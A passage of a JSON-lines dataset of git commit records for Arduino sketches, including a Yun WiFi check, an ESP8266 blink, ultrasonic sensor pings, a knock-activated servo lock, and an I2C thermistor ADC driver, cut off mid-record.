niore\/Arduino,ari-analytics\/Arduino,wilhelmryan\/Arduino,tannewt\/Arduino,gonium\/Arduino,onovy\/Arduino,me-no-dev\/Arduino-1,ccoenen\/Arduino,superboonie\/Arduino,cscenter\/Arduino,OpenDevice\/Arduino,raimohanska\/Arduino,EmuxEvans\/Arduino,adamkh\/Arduino,onovy\/Arduino,Cloudino\/Arduino,stevemayhew\/Arduino,tomkrus007\/Arduino,chaveiro\/Arduino,stevemayhew\/Arduino,plinioseniore\/Arduino,scdls\/Arduino,paulo-raca\/ESP8266-Arduino,eeijcea\/Arduino-1,drpjk\/Arduino,EmuxEvans\/Arduino,me-no-dev\/Arduino-1,piersoft\/esp8266-Arduino,garci66\/Arduino,cscenter\/Arduino,gberl001\/Arduino,SmartArduino\/Arduino-1,scdls\/Arduino,jamesrob4\/Arduino,karlitxo\/Arduino,bsmr-arduino\/Arduino,KlaasDeNys\/Arduino,lukeWal\/Arduino,snargledorf\/Arduino,NeuralSpaz\/Arduino,mboufos\/esp8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,Alfredynho\/AgroSis,gurbrinder\/Arduino,eduardocasarin\/Arduino,eeijcea\/Arduino-1,raimohanska\/Arduino,jaej-dev\/Arduino,niggor\/Arduino_cc,gurbrinder\/Arduino,nkolban\/Arduino,piersoft\/esp8266-Arduino,lulufei\/Arduino,jaej-dev\/Arduino,byran\/Arduino,shiitakeo\/Arduino,ashwin713\/Arduino,weera00\/Arduino,cscenter\/Arduino,tskurauskas\/Arduino,paulo-raca\/ESP8266-Arduino,aichi\/Arduino-2,byran\/Arduino,cscenter\/Arduino,Gourav2906\/Arduino,onovy\/Arduino,xxxajk\/Arduino-1,ccoenen\/Arduino,zaiexx\/Arduino,majenkotech\/Arduino,zenmanenergy\/Arduino,Alfredynho\/AgroSis,acosinwork\/Arduino,bigjosh\/Arduino,ashwin713\/Arduino,stickbreaker\/Arduino,Gourav2906\/Arduino,wilhelmryan\/Arduino,scdls\/Arduino,koltegirish\/Arduino,gonium\/Arduino,arunkuttiyara\/Arduino,piersoft\/esp8266-Arduino,noahchense\/Arduino-1,andrealmeidadomingues\/Arduino,lukeWal\/Arduino,danielchalef\/Arduino,vbextreme\/Arduino,wayoda\/Arduino,niggor\/Arduino_cc,karlitxo\/Arduino,vbextreme\/Arduino,ari-analytics\/Arduino,ogahara\/Arduino,jabezGit\/Arduino,gestrem\/Arduino,adafruit\/ESP8266-Arduino,ektor5\/Arduino,NaSymbol\/Arduino,leftbrainstrain\/Arduino-ESP8266,drpjk\/Arduino,KlaasDeNys\/Arduino,shiitakeo\/Arduino,Gourav2906\/Arduino,gurbrinder\/Arduino,benwolfe\/esp8266-Arduino,zederson\/Arduino,arduino-org\/Arduino,Gourav2906\/Arduino,Cloudino\/Arduino,Chris--A\/Arduino,jamesrob4\/Arduino,arduino-org\/Arduino,tbowmo\/Arduino,ntruchsess\/Arduino-1,EmuxEvans\/Arduino,tannewt\/Arduino,talhaburak\/Arduino,jabezGit\/Arduino,shannonshsu\/Arduino,zaiexx\/Arduino,HCastano\/Arduino,jaehong\/Xmegaduino,ektor5\/Arduino,benwolfe\/esp8266-Arduino,ashwin713\/Arduino,PaoloP74\/Arduino,EmuxEvans\/Arduino,laylthe\/Arduino,smily77\/Arduino,ari-analytics\/Arduino,EmuxEvans\/Arduino,mboufos\/esp8266-Arduino,ashwin713\/Arduino,aichi\/Arduino-2,PeterVH\/Arduino,myrtleTree33\/Arduino,ssvs111\/Arduino,Protoneer\/Arduino,koltegirish\/Arduino,paulo-raca\/ESP8266-Arduino,aichi\/Arduino-2,tbowmo\/Arduino,xxxajk\/Arduino-1,niggor\/Arduino_cc,jaehong\/Xmegaduino,wayoda\/Arduino,aichi\/Arduino-2,jabezGit\/Arduino,shiitakeo\/Arduino,spapadim\/Arduino,jamesrob4\/Arduino,mboufos\/esp8266-Arduino,lulufei\/Arduino,gberl001\/Arduino,bigjosh\/Arduino,NicoHood\/Arduino,SmartArduino\/Arduino-1,NaSymbol\/Arduino,Protoneer\/Arduino,ari-analytics\/Arduino,radut\/Arduino,ikbelkirasan\/Arduino,probonopd\/Arduino,rcook\/DesignLab,tskurauskas\/Arduino,stevemarple\/Arduino-org,vbextreme\/Arduino,ogferreiro\/Arduino,Chris--A\/Arduino,jomolinare\/Arduino,jabezGit\/Arduino,mangelajo\/Arduino,ricklon\/Arduino,ikbelkirasan\/Arduino,talhaburak\/Arduino,stickbreaker\/Arduino,smily77\/Arduino,zaiexx\/Arduino,noahchense\/Arduino-1,byran\/Arduino,PaoloP74\/Arduino,tomkrus007\/Arduino,henningpohl\/Arduino,jomolinare\/Arduino,adamkh\/Arduino,jaimemaretoli\/Arduino,mc-hamster\/esp8266-Arduino,xxxajk\/Arduino-1,tomkrus007\/Arduino,eggfly\/arduino,lulufei\/Arduino,weera00\/Arduino,chaveiro\/Arduino,nkolban\/Arduino,adamkh\/Arduino,ccoenen\/Arduino,drpjk\/Arduino,wdoganowski\/Arduino,arunkuttiyara\/Arduino,PaoloP74\/Arduino,radut\/Arduino,wdoganowski\/Arduino,spapadim\/Arduino,NeuralSpaz\/Arduino,shannonshsu\/Arduino,chaveiro\/Arduino,aichi\/Arduino-2,tannewt\/Arduino,damellis\/Arduino,ikbelkirasan\/Arduino,tomkrus007\/Arduino,zederson\/Arduino,Cloudino\/Arduino,arduino-org\/Arduino,nkolban\/Arduino,UDOOboard\/Arduino,zederson\/Arduino,UDOOboard\/Arduino,rcook\/DesignLab,jomolinare\/Arduino,gonium\/Arduino,Protoneer\/Arduino,superboonie\/Arduino,NaSymbol\/Arduino,toddtreece\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,mboufos\/esp8266-Arduino,ogferreiro\/Arduino,niggor\/Arduino_cc,talhaburak\/Arduino,niggor\/Arduino_cc,jaimemaretoli\/Arduino,chaveiro\/Arduino,tannewt\/Arduino,zenmanenergy\/Arduino,ccoenen\/Arduino,laylthe\/Arduino,adamkh\/Arduino,KlaasDeNys\/Arduino,ektor5\/Arduino,garci66\/Arduino,pdNor\/Arduino,UDOOboard\/Arduino,nandojve\/Arduino,ssvs111\/Arduino,vbextreme\/Arduino,ashwin713\/Arduino,shiitakeo\/Arduino,jaimemaretoli\/Arduino,Alfredynho\/AgroSis,Cloudino\/Cloudino-Arduino-IDE,nkolban\/Arduino,Gourav2906\/Arduino,ogahara\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,NicoHood\/Arduino,kidswong999\/Arduino,tskurauskas\/Arduino,ikbelkirasan\/Arduino,drpjk\/Arduino,snargledorf\/Arduino,laylthe\/Arduino,adafruit\/ESP8266-Arduino,acosinwork\/Arduino,benwolfe\/esp8266-Arduino,ari-analytics\/Arduino,mattvenn\/Arduino,talhaburak\/Arduino,jabezGit\/Arduino,stevemarple\/Arduino-org,plaintea\/esp8266-Arduino,eddyst\/Arduino-SourceCode,PeterVH\/Arduino,talhaburak\/Arduino,tbowmo\/Arduino,radut\/Arduino,onovy\/Arduino,andyvand\/Arduino-1,plinioseniore\/Arduino,drpjk\/Arduino,eduardocasarin\/Arduino,ogferreiro\/Arduino,ogahara\/Arduino,wayoda\/Arduino,noahchense\/Arduino-1,adamkh\/Arduino,stevemarple\/Arduino-org,andyvand\/Arduino-1,jaehong\/Xmegaduino,ForestNymph\/Arduino_sources,ssvs111\/Arduino,PaoloP74\/Arduino,UDOOboard\/Arduino,mattvenn\/Arduino,ektor5\/Arduino,mateuszdw\/Arduino,nkolban\/Arduino,gestrem\/Arduino,jaimemaretoli\/Arduino,KlaasDeNys\/Arduino,byran\/Arduino,adafruit\/ESP8266-Arduino,koltegirish\/Arduino,scdls\/Arduino,UDOOboard\/Arduino,Protoneer\/Arduino,mateuszdw\/Arduino,jomolinare\/Arduino,leftbrainstrain\/Arduino-ESP8266,me-no-dev\/Arduino-1,pdNor\/Arduino,mc-hamster\/esp8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,ogferreiro\/Arduino,Alfredynho\/AgroSis,stevemarple\/Arduino-org,tomkrus007\/Arduino,piersoft\/esp8266-Arduino,eggfly\/arduino,henningpohl\/Arduino,PeterVH\/Arduino,stickbreaker\/Arduino,mattvenn\/Arduino,nandojve\/Arduino,stevemayhew\/Arduino,myrtleTree33\/Arduino,jaehong\/Xmegaduino,NicoHood\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,xxxajk\/Arduino-1,tommyli2014\/Arduino,stevemarple\/Arduino-org,weera00\/Arduino,danielchalef\/Arduino,ssvs111\/Arduino","old_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/WiFiCheck\/WiFiCheck.ino","new_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/WiFiCheck\/WiFiCheck.ino","new_contents":"\/*\n Arduino Yun Wireless Config Check\n \n Checks the wireless state of Arduino Yun by calling\n the linux command iwconfig.\n \n Upload this to an Arduino Yun via serial (not WiFi) \n then open the serial monitor to see the status of\n your Yun's WiFi connection. If it's connected to \n a wireless network, the ESSID (name) of that network\n and the signal strength will appear.\n \n The circuit:\n * Arduino Yun\n \n created 22 May 2013\n by Tom Igoe\n \n This example code is in the public domain.\n *\/\n\n#include <Process.h>\n\nvoid setup() {\n Serial.begin(9600); \/\/ initialize serial communication\n while(!Serial); \/\/ do nothing until the serial monitor is opened\n \n pinMode(13,OUTPUT); \n digitalWrite(13, LOW); \n Bridge.begin(); \/\/ make contact with the linux processor\n digitalWrite(13, HIGH); \n\n delay(2000); \/\/ wait 2 seconds\n\n Process wifiCheck; \/\/ initialize a new process\n\n\n wifiCheck.begin(\"iwconfig\"); \/\/ command you want to run\n wifiCheck.addParameter(\"wlan0\"); \/\/ parameter of the command\n wifiCheck.run(); \/\/ run the command\n\n \/\/ while there's any characters coming back from the \n \/\/ process, print them to the serial monitor:\n while (wifiCheck.available() > 0) {\n char thisChar = wifiCheck.read();\n Serial.print(thisChar);\n }\n}\n\nvoid loop() {\n \/\/ nothing to do here.\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/arduino\/avr\/libraries\/Bridge\/examples\/WiFiCheck\/WiFiCheck.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"84b14ca5031d10b814533961857cb598aa3b7439","subject":"ESP8266 Blink example for the blue LED on the ESP-01 module","message":"ESP8266 Blink example for the blue LED on the ESP-01 module\n","repos":"EmuxEvans\/Arduino,eeijcea\/Arduino-1,nkolban\/Arduino,gonium\/Arduino,EmuxEvans\/Arduino,eeijcea\/Arduino-1,mattvenn\/Arduino,NeuralSpaz\/Arduino,radut\/Arduino,mangelajo\/Arduino,paulmand3l\/Arduino,drpjk\/Arduino,paulmand3l\/Arduino,mattvenn\/Arduino,mangelajo\/Arduino,mateuszdw\/Arduino,ssvs111\/Arduino,drpjk\/Arduino,danielchalef\/Arduino,Cloudino\/Arduino,koltegirish\/Arduino,Cloudino\/Arduino,Alfredynho\/AgroSis,sanyaade-iot\/Arduino-1,danielchalef\/Arduino,smily77\/Arduino,aichi\/Arduino-2,raimohanska\/Arduino,raimohanska\/Arduino,shiitakeo\/Arduino,fungxu\/Arduino,spapadim\/Arduino,Protoneer\/Arduino,nkolban\/Arduino,mattvenn\/Arduino,eeijcea\/Arduino-1,danielchalef\/Arduino,nkolban\/Arduino,EmuxEvans\/Arduino,noahchense\/Arduino-1,Cloudino\/Arduino,zenmanenergy\/Arduino,ssvs111\/Arduino,paulmand3l\/Arduino,EmuxEvans\/Arduino,gonium\/Arduino,myrtleTree33\/Arduino,mateuszdw\/Arduino,ogahara\/Arduino,leftbrainstrain\/Arduino-ESP8266,koltegirish\/Arduino,nkolban\/Arduino,paulo-raca\/ESP8266-Arduino,aichi\/Arduino-2,ssvs111\/Arduino,ssvs111\/Arduino,aichi\/Arduino-2,koltegirish\/Arduino,paulo-raca\/ESP8266-Arduino,leftbrainstrain\/Arduino-ESP8266,nkolban\/Arduino,adafruit\/ESP8266-Arduino,Alfredynho\/AgroSis,sanyaade-iot\/Arduino-1,koltegirish\/Arduino,jomolinare\/Arduino,mattvenn\/Arduino,EmuxEvans\/Arduino,Protoneer\/Arduino,spapadim\/Arduino,aichi\/Arduino-2,mangelajo\/Arduino,spapadim\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jomolinare\/Arduino,leftbrainstrain\/Arduino-ESP8266,weera00\/Arduino,Alfredynho\/AgroSis,spapadim\/Arduino,paulmand3l\/Arduino,mattvenn\/Arduino,nkolban\/Arduino,myrtleTree33\/Arduino,Cloudino\/Arduino,raimohanska\/Arduino,drpjk\/Arduino,fungxu\/Arduino,weera00\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,mateuszdw\/Arduino,danielchalef\/Arduino,sanyaade-iot\/Arduino-1,NeuralSpaz\/Arduino,Cloudino\/Arduino,ogahara\/Arduino,Cloudino\/Cloudino-Arduino-IDE,paulmand3l\/Arduino,raimohanska\/Arduino,jomolinare\/Arduino,adafruit\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,drpjk\/Arduino,zenmanenergy\/Arduino,wdoganowski\/Arduino,myrtleTree33\/Arduino,Protoneer\/Arduino,zenmanenergy\/Arduino,smily77\/Arduino,ogahara\/Arduino,weera00\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eeijcea\/Arduino-1,smily77\/Arduino,jomolinare\/Arduino,sanyaade-iot\/Arduino-1,eeijcea\/Arduino-1,aichi\/Arduino-2,danielchalef\/Arduino,Cloudino\/Arduino,myrtleTree33\/Arduino,wdoganowski\/Arduino,fungxu\/Arduino,shiitakeo\/Arduino,tannewt\/Arduino,leftbrainstrain\/Arduino-ESP8266,zenmanenergy\/Arduino,mateuszdw\/Arduino,leftbrainstrain\/Arduino-ESP8266,fungxu\/Arduino,Cloudino\/Arduino,mangelajo\/Arduino,radut\/Arduino,mangelajo\/Arduino,smily77\/Arduino,gonium\/Arduino,zenmanenergy\/Arduino,paulmand3l\/Arduino,tannewt\/Arduino,mattvenn\/Arduino,ssvs111\/Arduino,Cloudino\/Cloudino-Arduino-IDE,weera00\/Arduino,NeuralSpaz\/Arduino,Alfredynho\/AgroSis,raimohanska\/Arduino,radut\/Arduino,raimohanska\/Arduino,drpjk\/Arduino,noahchense\/Arduino-1,sanyaade-iot\/Arduino-1,ssvs111\/Arduino,EmuxEvans\/Arduino,fungxu\/Arduino,koltegirish\/Arduino,paulmand3l\/Arduino,EmuxEvans\/Arduino,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,shiitakeo\/Arduino,tannewt\/Arduino,eeijcea\/Arduino-1,drpjk\/Arduino,mateuszdw\/Arduino,Protoneer\/Arduino,noahchense\/Arduino-1,Alfredynho\/AgroSis,mangelajo\/Arduino,radut\/Arduino,gonium\/Arduino,ogahara\/Arduino,paulo-raca\/ESP8266-Arduino,paulo-raca\/ESP8266-Arduino,mangelajo\/Arduino,mateuszdw\/Arduino,sanyaade-iot\/Arduino-1,gonium\/Arduino,NeuralSpaz\/Arduino,zenmanenergy\/Arduino,nkolban\/Arduino,shiitakeo\/Arduino,Protoneer\/Arduino,tannewt\/Arduino,Alfredynho\/AgroSis,Protoneer\/Arduino,weera00\/Arduino,ogahara\/Arduino,weera00\/Arduino,noahchense\/Arduino-1,wdoganowski\/Arduino,radut\/Arduino,adafruit\/ESP8266-Arduino,zenmanenergy\/Arduino,shiitakeo\/Arduino,wdoganowski\/Arduino,mateuszdw\/Arduino,ogahara\/Arduino,tannewt\/Arduino,gonium\/Arduino,sanyaade-iot\/Arduino-1,jomolinare\/Arduino,Cloudino\/Cloudino-Arduino-IDE,NeuralSpaz\/Arduino,paulo-raca\/ESP8266-Arduino,weera00\/Arduino,leftbrainstrain\/Arduino-ESP8266,myrtleTree33\/Arduino,smily77\/Arduino,radut\/Arduino,fungxu\/Arduino,mattvenn\/Arduino,drpjk\/Arduino,NeuralSpaz\/Arduino,tannewt\/Arduino,paulo-raca\/ESP8266-Arduino,NeuralSpaz\/Arduino,myrtleTree33\/Arduino,ogahara\/Arduino,koltegirish\/Arduino,gonium\/Arduino,Alfredynho\/AgroSis,noahchense\/Arduino-1,Protoneer\/Arduino,adafruit\/ESP8266-Arduino,adafruit\/ESP8266-Arduino,wdoganowski\/Arduino,spapadim\/Arduino,tannewt\/Arduino,jomolinare\/Arduino,spapadim\/Arduino,danielchalef\/Arduino,danielchalef\/Arduino,wdoganowski\/Arduino,shiitakeo\/Arduino,shiitakeo\/Arduino,aichi\/Arduino-2,myrtleTree33\/Arduino,wdoganowski\/Arduino,radut\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jomolinare\/Arduino,noahchense\/Arduino-1,aichi\/Arduino-2,raimohanska\/Arduino,paulo-raca\/ESP8266-Arduino,ssvs111\/Arduino,smily77\/Arduino,adafruit\/ESP8266-Arduino,smily77\/Arduino,koltegirish\/Arduino,fungxu\/Arduino,spapadim\/Arduino","old_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/Blink\/Blink.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/Blink\/Blink.ino","new_contents":"\/*\n ESP8266 Blink by Simon Peter\n Blink the blue LED on the ESP-01 module\n This example code is in the public domain\n*\/\n\nconst int ledPin = 1; \/\/ The blue LED on the ESP-01 module is connected to GPIO1 \n \/\/ (which is also the TXD pin; so we cannot use \n \/\/ Serial.print() at the same time\n\nvoid setup() {\n pinMode(ledPin, OUTPUT); \/\/ Initialize the ledPin as an output\n ESP.wdtDisable(); \/\/ Disable the watchdog timer built into the ESP8266\n \/\/ otherwise the ESP8266 reboots during the \"delay(1000);\"\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(ledPin, LOW); \/\/ turn the LED on (Note that LOW is the voltage level\n \/\/ but actually the LED is on; this is because \n \/\/ it is acive low on the ESP-01)\n delay(1000); \/\/ Wait for a second\n digitalWrite(ledPin, HIGH); \/\/ Turn the LED off by making the voltage HIGH\n delay(2000); \/\/ Wait for two seconds (to demonstrate the active low LED)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"2d02cdbc6b035f0f42875dd17ff3c8dcf9772cbb","subject":"initial code","message":"initial code\n","repos":"davidiot\/Turnstyle,davidiot\/Turnstyle","old_file":"DoublePing\/DoublePing.ino","new_file":"DoublePing\/DoublePing.ino","new_contents":"\/\/ ---------------------------------------------------------------------------\n\/\/ Example NewPing library sketch that does a ping about 20 times per second.\n\/\/ ---------------------------------------------------------------------------\n\n#include <NewPing.h>\n\n#define TRIGGER_PIN_1 12 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN_1 11 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n#define TRIGGER_PIN_2 10 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN_2 9 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n\n#define DETECTION_THRESH 50 \/\/ Distance cutoff for passing\n#define MAX_DISTANCE 200 \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n\nNewPing sonar_1(TRIGGER_PIN_1, ECHO_PIN_1, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\nNewPing sonar_2(TRIGGER_PIN_2, ECHO_PIN_2, MAX_DISTANCE); \/\/ NewPing setup of pins and maximum distance.\n\nint counter = 0;\n\nvoid setup() {\n Serial.begin(115200); \/\/ Open serial monitor at 115200 baud to see ping results.\n}\n\nvoid loop() {\n delay(50); \/\/ Wait 50ms between pings (about 20 pings\/sec). 29ms should be the shortest delay between pings.\n int ping_1 = sonar_1.ping_cm();\n int ping_2 = sonar_2.ping_cm();\n printpings(ping_1, ping_2);\n\n counter = (counter + 1) % 5;\n}\n\nvoid printpings(int ping_1, int ping_2) {\n Serial.print(\"Ping 1: \");\n Serial.print(ping_1); \/\/ Send ping, get distance in cm and print result (0 = outside set distance range)\n Serial.print(\" cm | Ping 2: \");\n Serial.print(ping_2); \/\/ Send ping, get distance in cm and print result (0 = outside set distance range)\n Serial.println(\" cm\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DoublePing\/DoublePing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4c98a407d2acb54a0b0b77fab3ce90e9e9328ca5","subject":"SENSOR_HUMEDAD_TIERRA_LIB.ino","message":"SENSOR_HUMEDAD_TIERRA_LIB.ino\n","repos":"IvanAliaga\/Arduino","old_file":"SensorHumedadTierra\/Arduino Sketch SensorHumedadTierra\/SENSOR_HUMEDAD_TIERRA_LIB.ino","new_file":"SensorHumedadTierra\/Arduino Sketch SensorHumedadTierra\/SENSOR_HUMEDAD_TIERRA_LIB.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensorHumedadTierra\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Sketch' did not match any file(s) known to git\nerror: pathspec 'SensorHumedadTierra\/SENSOR_HUMEDAD_TIERRA_LIB.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"56ac828d6d81258adff6ed164d43cb3edda438b3","subject":"update code","message":"update code\n","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/ROS\/examples\/02. Sensors\/c_Ultrasonic\/c_Ultrasonic.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/ROS\/examples\/02. Sensors\/c_Ultrasonic\/c_Ultrasonic.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/ROS\/examples\/02.' did not match any file(s) known to git\nerror: pathspec 'Sensors\/c_Ultrasonic\/c_Ultrasonic.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"94bfb3a4679f1a84721b0ff411861a264a3a290c","subject":"Piezo as input","message":"Piezo as input\n","repos":"martindisch\/Arduino","old_file":"Project_12\/Project_12.ino","new_file":"Project_12\/Project_12.ino","new_contents":"#include <Servo.h>\n\nServo myServo;\nconst int piezo = A0;\nconst int switchPin = 2;\nconst int yellowLed = 3;\nconst int greenLed = 4;\nconst int redLed = 5;\nint knockVal;\nint switchVal;\nconst int quietKnock = 10;\nconst int loudKnock = 100;\nboolean locked = false;\nint numberOfKnocks = 0;\n\nvoid setup() {\n myServo.attach(9);\n pinMode(yellowLed, OUTPUT);\n pinMode(redLed, OUTPUT);\n pinMode(greenLed, OUTPUT);\n pinMode(switchPin, INPUT);\n Serial.begin(9600);\n digitalWrite(greenLed, HIGH);\n myServo.write(0);\n Serial.println(\"Unlocked\");\n}\n\nvoid loop() {\n if (!locked) {\n switchVal = digitalRead(switchPin);\n if (switchVal == HIGH) {\n locked = true;\n digitalWrite(greenLed, LOW);\n digitalWrite(redLed, HIGH);\n myServo.write(90);\n Serial.println(\"Locked\");\n delay(1000);\n }\n }\n else {\n knockVal = analogRead(piezo);\n if (numberOfKnocks < 3 && knockVal > 0) {\n if (checkForKnock(knockVal) == true) {\n numberOfKnocks++;\n }\n Serial.print(3 - numberOfKnocks);\n Serial.println(\" more knocks to go\");\n }\n if (numberOfKnocks >= 3) {\n locked = false;\n myServo.write(0);\n delay(20);\n digitalWrite(greenLed, HIGH);\n digitalWrite(redLed, LOW);\n Serial.println(\"Unlocked\");\n numberOfKnocks = 0;\n }\n }\n}\n\nboolean checkForKnock(int value) {\n if (value > quietKnock && value < loudKnock) {\n digitalWrite(yellowLed, HIGH);\n delay(50);\n digitalWrite(yellowLed, LOW);\n Serial.print(\"Valid knock of value \");\n Serial.println(value);\n return true;\n }\n else {\n Serial.print(\"Bad knock value \");\n Serial.println(value);\n return false;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Project_12\/Project_12.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0f1c474f2480a2ac2de73c3f13e07709eb255830","subject":"Some test code for octotemp using the TI128d818.","message":"Some test code for octotemp using the TI128d818.\n","repos":"z2amiller\/snippets","old_file":"octotemp\/code\/OctoTemp\/OctoTemp\/OctoTemp.ino","new_file":"octotemp\/code\/OctoTemp\/OctoTemp\/OctoTemp.ino","new_contents":"#include <Math.h>\n#include <Wire.h>\n\n#define SDAPIN 13\n#define SCLPIN 12\n\n\/\/ TODO(z2amiller): Set up interrupts to call back when the temperature\n\/\/ on one of the pins gets too hot.\n#define ADC_INT 14\n\n#define ADC_ADDR 0x37\n\n\/\/ TODO(z2amiller): Cut this out into a separate library.\nclass TI128D818 {\n public:\n TI128D818();\n TI128D818(uint8_t add_addr);\n bool init(uint8_t adc_mode = 0);\n float temp(uint8_t channel = 0);\n private:\n uint8_t read8(uint8_t addr);\n uint16_t read16(uint8_t addr);\n void write8(uint8_t addr, uint8_t data);\n void pollUntilReady();\n uint8_t adc_addr_;\n};\n\nTI128D818::TI128D818() {\n adc_addr_ = ADC_ADDR;\n}\n\nTI128D818::TI128D818(uint8_t adc_addr) {\n adc_addr_ = adc_addr;\n}\n\n\/\/ TODO(z2amiller): Have a maximum allowed elapsed time?\n\/\/ TODO(z2amiller): Can't dump to serial in a library. #ifdef debug?\nvoid TI128D818::pollUntilReady() {\n bool ok = false;\n int delay_time = 33;\n while (!ok) {\n delay(delay_time);\n Serial.print(\"Polling ADC for ready state..\");\n int r = read8(0x0C);\n if (r && 0x02) {\n Serial.print(\" not OK yet, state = \");\n Serial.println(r);\n delay_time *= 1.4;\n } else {\n ok = true;\n Serial.println(\" Ready!\");\n }\n }\n}\n\n\n\/\/ TODO(z2amiller): Have the TI128D818 library only return the raw\n\/\/ temperature value, this temperature conversion\n\/\/ is very application specific.\nfloat TI128D818::temp(uint8_t channel) {\n uint16_t t = read16(channel);\n \/\/ This is a 12 bit ADC; bit shift this 16 bit value to get the\n \/\/ 12 bits we are interested in.\n t >>= 4;\n \/\/ Calculate the actual temperature using the Steinhart-Hart\n \/\/ formula.\n const int measured_resistance = 10000.0 * ((4096.0 \/ t) - 1); \n const float mr_log = log(measured_resistance \/ 10000.0);\n \/\/ Steinhart-hart coefficients for the Vishay NTCLG100E2103.\n \/\/ (10K @ 25C thermistor)\n const float tempK = 1 \/ (0.003354016 +\n (0.0002569850 * mr_log) +\n (0.000002620131 * pow(mr_log, 2)) +\n (0.00000006383091 * pow(mr_log, 3)));\n return tempK - 273.15; \/\/ tempC\n}\n\n\/\/ TODO(z2amiller): Provide a configuration class that encapsulates\n\/\/ all of the ADC configuration options.\n\/\/ (pins, modes, etc).\nbool TI128D818::init(uint8_t adc_mode) {\n Wire.begin(SDAPIN, SCLPIN);\n write8(0x00, 0x00); \/\/ disable all.\n pollUntilReady();\n write8(0x0B, 0x02 | 0x01); \/\/ Mode 1, external vref.\n write8(0x07, 0x01); \/\/ continuous conversion.\n write8(0x00, 0x02 | 0x01); \/\/ interrupt enable, start ADC.\n return true;\n}\n\nvoid TI128D818::write8(uint8_t addr, uint8_t data) {\n Wire.beginTransmission(adc_addr_);\n Wire.write(addr);\n Wire.write(data);\n Wire.endTransmission();\n}\n\nuint8_t TI128D818::read8(uint8_t addr) {\n Wire.beginTransmission(adc_addr_);\n Wire.write(addr);\n Wire.endTransmission();\n Wire.beginTransmission(adc_addr_);\n Wire.requestFrom(adc_addr_, (uint8_t)1);\n uint8_t ret;\n ret = Wire.read();\n Wire.endTransmission();\n return ret;\n}\n\nuint16_t TI128D818::read16(uint8_t addr) {\n Wire.beginTransmission(adc_addr_);\n Wire.write(addr);\n Wire.endTransmission();\n Wire.beginTransmission(adc_addr_);\n Wire.requestFrom(adc_addr_, (uint8_t)2);\n uint16_t ret;\n ret = Wire.read();\n ret <<= 8;\n ret |= Wire.read();\n Serial.print(\" (raw read \");\n Serial.print(ret);\n Serial.print(\") \");\n Wire.endTransmission();\n return ret;\n}\n\nTI128D818 adc = TI128D818();\nvoid setup(void)\n{\n Serial.begin(115200);\n adc.init(0x1);\n}\n\n\/\/ TODO(z2amiller): Do something interesting with this data.\n\/\/ Post to prometheus or MQTT or something.\nvoid loop(void)\n{\n Serial.print(\"ch 0 = \");\n Serial.print(adc.temp(0x20));\n Serial.print(\" ch 1 = \");\n Serial.print(adc.temp(0x21));\n Serial.println(\"\");\n Serial.print(\"ch 2 = \");\n Serial.print(adc.temp(0x22));\n Serial.print(\" ch 3 = \");\n Serial.print(adc.temp(0x23));\n Serial.println(\"\");\n Serial.println(\"\");\n delay(5000);\n} \n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'octotemp\/code\/OctoTemp\/OctoTemp\/OctoTemp.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8264e03cf76cd21062c427e4bb803a1359d2c10e","subject":"Initial commit of working ADS7825 firmware","message":"Initial commit of working ADS7825 firmware\n","repos":"freespace\/arduino-ADS7825,freespace\/arduino-ADS7825,freespace\/arduino-ADS7825","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"\/**\n * This firmware is intended to interface with a ADS7825 from TI\/BB, and\n * provide digital codes to the control software over USB-Serial.\n *\/\n\n\/\/ Adding _ prefix b\/c arduino api uses some of these names otherwise\n#define _A0 (22)\n#define _A1 (23)\n#define _BYTE (24)\n#define _RC (25)\n#define _BUSY (26)\n\n#define _D0 (37)\n#define _D1 (36)\n#define _D2 (35)\n#define _D3 (34)\n#define _D4 (33)\n#define _D5 